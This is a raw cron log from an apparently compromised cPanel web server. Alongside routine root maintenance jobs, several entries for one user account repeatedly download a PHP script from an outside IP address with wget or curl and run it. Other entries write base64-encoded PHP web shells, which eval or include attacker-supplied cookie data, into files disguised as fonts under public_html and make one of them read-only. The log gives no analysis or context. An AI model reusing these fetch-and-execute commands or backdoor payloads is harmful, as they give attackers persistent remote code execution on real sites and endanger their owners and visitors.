Sep  5 10:22:02 ip-184-168-122-23 CROND[24463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:23:01 ip-184-168-122-23 CROND[24649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:23:01 ip-184-168-122-23 CROND[24651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:23:01 ip-184-168-122-23 CROND[24653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:23:01 ip-184-168-122-23 CROND[24652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:24:01 ip-184-168-122-23 CROND[24795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:24:01 ip-184-168-122-23 CROND[24794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:24:01 ip-184-168-122-23 CROND[24797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:24:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:24:01 ip-184-168-122-23 CROND[24796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:25:01 ip-184-168-122-23 CROND[25095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:25:01 ip-184-168-122-23 CROND[25099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:25:01 ip-184-168-122-23 CROND[25102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:25:01 ip-184-168-122-23 CROND[25100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:25:01 ip-184-168-122-23 CROND[25103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:25:01 ip-184-168-122-23 CROND[25098]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:25:01 ip-184-168-122-23 CROND[25101]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 10:26:01 ip-184-168-122-23 CROND[25282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:26:01 ip-184-168-122-23 CROND[25284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:26:01 ip-184-168-122-23 CROND[25285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:26:01 ip-184-168-122-23 CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:26:01 ip-184-168-122-23 CROND[25289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:27:01 ip-184-168-122-23 CROND[25451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:27:01 ip-184-168-122-23 CROND[25452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:27:01 ip-184-168-122-23 CROND[25453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:27:01 ip-184-168-122-23 CROND[25454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:28:01 ip-184-168-122-23 CROND[25603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:28:01 ip-184-168-122-23 CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:28:01 ip-184-168-122-23 CROND[25606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:28:01 ip-184-168-122-23 CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:28:01 ip-184-168-122-23 CROND[25606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:28:01 ip-184-168-122-23 CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:28:01 ip-184-168-122-23 CROND[25606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:28:01 ip-184-168-122-23 CROND[25607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:28:01 ip-184-168-122-23 CROND[25608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:29:01 ip-184-168-122-23 CROND[25792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:29:01 ip-184-168-122-23 CROND[25793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:29:01 ip-184-168-122-23 CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:29:01 ip-184-168-122-23 CROND[25795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:30:01 ip-184-168-122-23 CROND[26024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:30:01 ip-184-168-122-23 CROND[26026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:30:01 ip-184-168-122-23 CROND[26028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:30:01 ip-184-168-122-23 CROND[26031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:30:01 ip-184-168-122-23 CROND[26027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:30:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:30:01 ip-184-168-122-23 CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:30:01 ip-184-168-122-23 CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:31:01 ip-184-168-122-23 CROND[26229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:31:01 ip-184-168-122-23 CROND[26232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:31:01 ip-184-168-122-23 CROND[26230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:31:01 ip-184-168-122-23 CROND[26233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:31:02 ip-184-168-122-23 CROND[26231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:32:01 ip-184-168-122-23 CROND[26449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:32:01 ip-184-168-122-23 CROND[26450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:32:01 ip-184-168-122-23 CROND[26452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:32:01 ip-184-168-122-23 CROND[26456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:32:01 ip-184-168-122-23 CROND[26457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:33:01 ip-184-168-122-23 CROND[26722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:33:01 ip-184-168-122-23 CROND[26723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:33:01 ip-184-168-122-23 CROND[26724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:33:01 ip-184-168-122-23 CROND[26725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:34:01 ip-184-168-122-23 CROND[26917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:34:01 ip-184-168-122-23 CROND[26920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:34:01 ip-184-168-122-23 CROND[26923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
